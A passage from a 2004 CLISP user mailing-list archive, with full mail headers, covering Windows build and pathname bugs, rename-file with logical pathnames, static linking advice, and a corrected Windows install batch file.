the texmacs-2.3.2-11 package into Fink. Make this 1.0.3.2-11. Too many digits :) -- Martin From lisp-clisp-list@m.gmane.org Sun Feb 01 16:09:55 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnRf1-00051x-Eo for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 16:09:55 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnRf0-0001eP-VQ for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 16:09:55 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AnRey-0004OP-00 for ; Mon, 02 Feb 2004 01:09:53 +0100 Received: from 125.red-213-97-131.pooles.rima-tde.net ([213.97.131.125]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon Feb 2 00:09:53 2004 Received: from emufer by 125.red-213-97-131.pooles.rima-tde.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon Feb 2 00:09:53 2004 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: =?iso-8859-1?q?Eduardo_Mu=F1oz?= Lines: 33 Message-ID: References: <87hdydc9mr.fsf@terra.es> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 125.red-213-97-131.pooles.rima-tde.net User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] Re: pathname error [Win2K] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 16:10:22 2004 X-Original-Date: 02 Feb 2004 00:25:41 +0100 * Sam Steingold | > * Eduardo Muñoz [2004-02-01 13:58:52 +0100]: | > | > No, but I like to use clisp as a scripting language and got an error | > while getting the size of a file. I can rename the file. | | I fixed this in the CVS. | CLISP builds OOTB with cygwin/mingw, so you should have no problems | rebuilding it. Downloaded the source from CVS and built it with msvc. I dont know what OOTB means anyway :) The instructions to build on windows are really clear, thanks for that. After building and testing the reported problem is gone, so thanks again :) BTW, the building process halts with: NMAKE : fatal error U1073: don't know how to make '_clisp.1' Stop. fortunately after building lisp.exe and lispinit.mem One more question. How can I make clisp-2.32-win32.zip? nmake distrib does not seems like the way to go. -- Eduardo Muñoz | (prog () 10 (print "Hello world!") http://213.97.131.125/ | 20 (go 10)) From sds@gnu.org Sun Feb 01 17:23:57 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnSof-000290-OM for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 17:23:57 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnSof-0001dq-BX for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 17:23:57 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AnSoY-0004Z9-00; Sun, 01 Feb 2004 20:23:50 -0500 To: clisp-list@lists.sourceforge.net, =?utf-8?q?Eduardo_Mu=C3=B1oz?= Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: (Eduardo =?utf-8?q?Mu=C3=B1oz's?= message of "02 Feb 2004 00:25:41 +0100") References: <87hdydc9mr.fsf@terra.es> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: pathname error [Win2K] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 17:24:02 2004 X-Original-Date: Sun, 01 Feb 2004 20:23:49 -0500 > * Eduardo Mu=C3=B1oz [2004-02-02 00:25:41 +0100]: > > dont know what OOTB means anyway :) Out Of The Box. > One more question. How can I make clisp-2.32-win32.zip? > nmake distrib does not seems like the way to go. I use "make distrib" with mingw. with mingw, you can use modules (regexp, pcre, syscalls &c) and CLISP runs _faster_ than when compiled with MSVC. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k When you are arguing with an idiot, your opponent is doing the same. From sds@gnu.org Sun Feb 01 17:30:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnSug-00042s-J3 for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 17:30:10 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnSug-0003HO-0I for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 17:30:10 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AnSuf-0005dF-00; Sun, 01 Feb 2004 20:30:09 -0500 To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16413.27646.72316.314400@isis.cs3-inc.com> (Don Cohen's message of "Sun, 1 Feb 2004 13:13:34 -0800") References: <16413.27646.72316.314400@isis.cs3-inc.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: rename-file not calling translate-logical-pathname ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 17:31:01 2004 X-Original-Date: Sun, 01 Feb 2004 20:30:07 -0500 > * Don Cohen [2004-02-01 13:13:34 -0800]: > > This is clisp 2.31 on linux > I do (rename-file x y) > where y is something like (logical-pathname "PERSIST:FOO.BAR") > and get files with names like "PERSIST:FOO.BAR" > rather than what I want, which is something like > "persistent-data/foo.bar". > > Shouldn't rename translate the name? The spec does say that rename > returns a logical pathname in this case and that the new name of the > file is supposed to be that value, but of course the new file name > can't actually be a logical pathname at all. I do not observe this with the current CVS on w2k. is a real address? if not, please make it more obvious. -- Sam Steingold (http://www.podval.org/~sds) running w2k All extremists should be taken out and shot. From don-sourceforgexx@isis.cs3-inc.com Sun Feb 01 17:39:28 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnT3f-0007uy-UE for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 17:39:27 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AnT3f-0005Zf-Gm for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 17:39:27 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i121cOL23740 for clisp-list@lists.sourceforge.net; Sun, 1 Feb 2004 17:38:24 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16413.43531.472637.516689@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <16413.27646.72316.314400@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: rename-file not calling translate-logical-pathname ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 17:40:05 2004 X-Original-Date: Sun, 1 Feb 2004 17:38:19 -0800 Sam Steingold writes: > > * Don Cohen [2004-02-01 13:13:34 -0800]: > > > > This is clisp 2.31 on linux > > I do (rename-file x y) > > where y is something like (logical-pathname "PERSIST:FOO.BAR") > > and get files with names like "PERSIST:FOO.BAR" > > rather than what I want, which is something like > > "persistent-data/foo.bar". > > > > Shouldn't rename translate the name? The spec does say that rename > > returns a logical pathname in this case and that the new name of the > > file is supposed to be that value, but of course the new file name > > can't actually be a logical pathname at all. > > I do not observe this with the current CVS on w2k. How about linux? Has the code been fixed recently? > is a real address? Sure. Why do you doubt it? > if not, please make it more obvious. What does that mean? From sds@gnu.org Sun Feb 01 18:16:18 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnTdJ-0004hf-VH for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 18:16:17 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AnTdJ-0001V6-3v for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 18:16:17 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AnTdF-0006D9-00; Sun, 01 Feb 2004 21:16:13 -0500 To: clisp-list@lists.sourceforge.net, don-sourceforgexx@isis.cs3-inc.com (Don Cohen) Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <16413.43531.472637.516689@isis.cs3-inc.com> (Don Cohen's message of "Sun, 1 Feb 2004 17:38:19 -0800") References: <16413.27646.72316.314400@isis.cs3-inc.com> <16413.43531.472637.516689@isis.cs3-inc.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: rename-file not calling translate-logical-pathname ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 18:17:11 2004 X-Original-Date: Sun, 01 Feb 2004 21:16:12 -0500 > * Don Cohen [2004-02-01 17:38:19 -0800]: > > I do not observe this with the current CVS on w2k. > > How about linux? I do not have a working clisp on linux (my fedora coredump1 does not let me build either clisp or emacs.) I hope other linux users will help us here. > Has the code been fixed recently? my version is separated from yours by 1.5 years. lots of things changed. > > is a real address? > Sure. Why do you doubt it? "xx" that do not make sense. > > if not, please make it more obvious. > What does that mean? I thought that was one of those detestable "sdNO_SPAMs@gnu.org" addresses. -- Sam Steingold (http://www.podval.org/~sds) running w2k (let ((a "(let ((a %c%s%c)) (format a 34 a 34))")) (format a 34 a 34)) From don-sourceforgexx@isis.cs3-inc.com Sun Feb 01 19:17:13 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnUa6-0003IJ-TB for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 19:17:02 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AnUa6-0005kF-HS for clisp-list@lists.sourceforge.net; Sun, 01 Feb 2004 19:17:02 -0800 Received: (from don@localhost) by isis.cs3-inc.com (8.11.0/8.11.0) id i123G5U24256 for clisp-list@lists.sourceforge.net; Sun, 1 Feb 2004 19:16:05 -0800 X-Authentication-Warning: isis.cs3-inc.com: don set sender to don-sourceforgexx using -f X-Authentication-Warning: isis.cs3-inc.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.cs3-inc.com: Processed by don with -C /etc/sendmail.cf From: don-sourceforgexx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16413.49397.592439.98327@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: References: <16413.27646.72316.314400@isis.cs3-inc.com> <16413.43531.472637.516689@isis.cs3-inc.com> X-Mailer: VM 6.92 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: rename-file not calling translate-logical-pathname ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 1 19:18:02 2004 X-Original-Date: Sun, 1 Feb 2004 19:16:05 -0800 Sam Steingold writes: > > Has the code been fixed recently? > my version is separated from yours by 1.5 years. > lots of things changed. More like .5 This is actually later than .31 - built from CVS as of ~Sept including my write-byte-seq :no-hang modifications > > > is a real address? > > Sure. Why do you doubt it? > "xx" that do not make sense. > > > > if not, please make it more obvious. > > What does that mean? > I thought that was one of those detestable "sdNO_SPAMs@gnu.org" addresses. Well, yes it is a nospam address - now that this one is going to be out on the mailing lists I'll probably start getting spam sent to it and then change it again. From taube@uiuc.edu Mon Feb 02 10:14:20 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AniaS-0004lA-1d for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 10:14:20 -0800 Received: from staff2.cso.uiuc.edu ([128.174.5.53] ident=root) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1AniaR-0003CM-HV for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 10:14:19 -0800 Received: from [128.174.103.233] (pinhead.music.uiuc.edu [128.174.103.233]) by staff2.cso.uiuc.edu (8.12.10/8.12.10) with ESMTP id i12IEGLa024547 for ; Mon, 2 Feb 2004 12:14:16 -0600 (CST) Mime-Version: 1.0 (Apple Message framework v609) Content-Transfer-Encoding: 7bit Message-Id: <9C86E290-55AB-11D8-8068-000A95674CE4@uiuc.edu> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Rick Taube X-Mailer: Apple Mail (2.609) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] statically linked clisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 2 10:15:02 2004 X-Original-Date: Mon, 2 Feb 2004 12:14:16 -0600 hi -- I would like to make a statically linked clisp executable on my osx box (and maybe on my linux box too) -- can someone tell me if/how I can do this? Thanks for any info Rick Taube Associate Professor, Composition/Theory School of Music University of Illinois Urbana, IL 61821 USA net: taube@uiuc.edu fax: 217 244 8319 vox: 217 244 2684 From meo3@aber.ac.uk Mon Feb 02 10:25:45 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnilU-000092-RG for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 10:25:44 -0800 Received: from braint.aber.ac.uk ([144.124.16.42]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AnilU-0002JT-Bp for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 10:25:44 -0800 Received: from localhost.localdomain ([127.0.0.1] helo=braint.aber.ac.uk) by braint.aber.ac.uk with esmtp (Exim 4.20) id 1AnilR-0007Gr-3H for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 18:25:41 +0000 Received: from ystwyth.aber.ac.uk ([144.124.16.58] helo=webmail.aber.ac.uk) by braint.aber.ac.uk with smtp (Exim 4.20) id 1Anikv-0007Ed-5i for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 18:25:09 +0000 Received: from 144.124.143.125 (SquirrelMail authenticated user meo3) by webmail.aber.ac.uk with HTTP; Mon, 2 Feb 2004 18:25:09 -0000 (GMT) Message-ID: <3258.144.124.143.125.1075746309.squirrel@webmail.aber.ac.uk> From: meo3@aber.ac.uk To: "clisp-list@lists.sourceforge.net" User-Agent: SquirrelMail/1.4.2 MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal X-Sophos-Scanned: from meo3@aber.ac.uk virus scanned OK X-UWA-Mid: 1Anikv-0007Ed-5i X-UWA-Originating-IP: 144.124.16.58 X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name 0.0 TO_ADDRESS_EQ_REAL To: repeats address as real name 0.8 PRIORITY_NO_NAME Message has priority setting, but no X-Mailer Subject: [clisp-list] BUG :: win32 install.bat Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 2 10:26:17 2004 X-Original-Date: Mon, 2 Feb 2004 18:25:09 -0000 (GMT) Hi, I have no idea if this is going to reach someone who cares... I downloaded the latest release of CLISP 2.32 from sourceforge as a win32 binary. However being a windowsXP user the install.bat file was non functional from use of unix path notation / instead of \ and also the use of the pipe | symbol as ASCII art which is now used in the DOS interpreter in winXP. Revised batch file as follows: @echo off echo +==========================================================+ echo : this will install CLISP on your system, : echo : associating file types FAS, MEM and LISP with CLISP. : echo : it will also create a shortcut to CLISP on your desktop. : echo : press C-c to abort : echo +==========================================================+ pause if exist src\install.lisp goto installsrc if exist install.lisp goto install goto notfound :installsrc full\lisp.exe -B . -M full\lispinit.mem -norc -C src\install.lisp goto exit :install full\lisp.exe -B . -M full\lispinit.mem -norc -C install.lisp goto exit :notfound echo Sorry, install.lisp not found, cannot install :exit pause From sds@gnu.org Mon Feb 02 10:48:49 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Anj7o-0006eR-TO for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 10:48:48 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.30) id 1Anj7m-0006Ue-UP for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 10:48:47 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i12ImYEL019136; Mon, 2 Feb 2004 13:48:34 -0500 (EST) To: clisp-list@lists.sourceforge.net, meo3@aber.ac.uk Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3258.144.124.143.125.1075746309.squirrel@webmail.aber.ac.uk> (meo3@aber.ac.uk's message of "Mon, 2 Feb 2004 18:25:09 -0000 (GMT)") References: <3258.144.124.143.125.1075746309.squirrel@webmail.aber.ac.uk> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Scanned-By: MIMEDefang 2.39 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: BUG :: win32 install.bat Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 2 10:49:14 2004 X-Original-Date: Mon, 02 Feb 2004 13:48:30 -0500 > * [2004-02-02 18:25:09 +0000]: > > I downloaded the latest release of CLISP 2.32 from sourceforge as a > win32 binary. However being a windowsXP user the install.bat file was > non functional from use of unix path notation / instead of \ and also > the use of the pipe | symbol as ASCII art which is now used in the DOS > interpreter in winXP. thanks. this has already been fixed in the CVS. -- Sam Steingold (http://www.podval.org/~sds) running w2k Failure is not an option. It comes bundled with your Microsoft product. From bruno@clisp.org Mon Feb 02 11:19:10 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnjbB-00080X-Lh for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 11:19:09 -0800 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.30) id 1AnjbB-0004px-5s for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 11:19:09 -0800 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.11/8.12.11) with ESMTP id i12JJ5LU010662; Mon, 2 Feb 2004 20:19:05 +0100 (MET) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.12.10/8.12.10) with ESMTP id i12JJ4Cf017348; Mon, 2 Feb 2004 20:19:04 +0100 (MET) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 427171865D; Mon, 2 Feb 2004 19:15:41 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 Cc: Rick Taube MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200402022015.40239.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: statically linked clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 2 11:20:29 2004 X-Original-Date: Mon, 2 Feb 2004 20:15:40 +0100 Not sure what you really want: a) An executable that contains lisp.run and its memory image? You can't do this with clisp. Instead use a binary package (tar.gz, rpm or whatever) that installs the needed files in the appropriate locations. b) A lisp.run which depends only on libc but not on other libraries? You can get this one through the normal build mechanism, if you remove the .la and .so (.dylib on MacOS X) parts of each library that clisp uses, before the build, leaving only the .a form of each library. c) A lisp.run which depends on no shared library at all? Normally you don't want this, because such binaries often don't run with newer kernel versions. (It's the libc which makes the interface between kernel and clisp.) But if you want to do it, setting the LDFLAGS environment variable to "-static" before building clisp should do it. Bruno From responder-errors@lyra.org Mon Feb 02 19:00:17 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AnqnR-0006Wv-80 for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 19:00:17 -0800 Received: from us-1.i3.intermud.org ([198.144.203.194] helo=nebula.lyra.org ident=[UcJUD+raQ8d+q1qcjX+Q5lKyUR6Ye5Q8]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.30) id 1AnqnQ-00052c-Tv for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 19:00:16 -0800 Received: from localhost.localdomain (nebula.lyra.org [127.0.0.1]) by nebula.lyra.org (8.12.8/8.12.8) with ESMTP id i1337Nlj017545 for ; Mon, 2 Feb 2004 19:07:23 -0800 Message-Id: <200402030307.i1337Nlj017545@nebula.lyra.org> From: gstein@lyra.org To: clisp-list@lists.sourceforge.net X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] received your email Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 2 19:01:08 2004 X-Original-Date: Mon, 2 Feb 2004 19:07:23 -0800 Hi, [ Re: Hi ] I have received your email, but it may take a while to respond. I'm really sorry to have to hook up this auto-responder, as it is so impersonal. However, I get a lot of email every day and find it very difficult to keep up with it. Please be patient while I try to get to your message. Please feel free to resend your message if you think I've missed it. I'll always respond to personal email first. If your email is regarding some of the software that I work on (if you have questions, comments, suggestions, etc), then please resend it to the appropriate mailing list: mod_dav WebDAV ViewCVS Subversion edna Thank you! Cheers, -g -- Greg Stein, http://www.lyra.org/ From vim-return-@vim.org Mon Feb 02 22:08:23 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1AntjT-00022O-9X for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 22:08:23 -0800 Received: from foobar.math.fu-berlin.de ([160.45.45.151]) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.30) id 1AntjS-0008NY-4E for clisp-list@lists.sourceforge.net; Mon, 02 Feb 2004 22:08:22 -0800 Received: (qmail 5524 invoked by uid 200); 3 Feb 2004 06:09:09 -0000 Mailing-List: contact vim-help@vim.org; run by 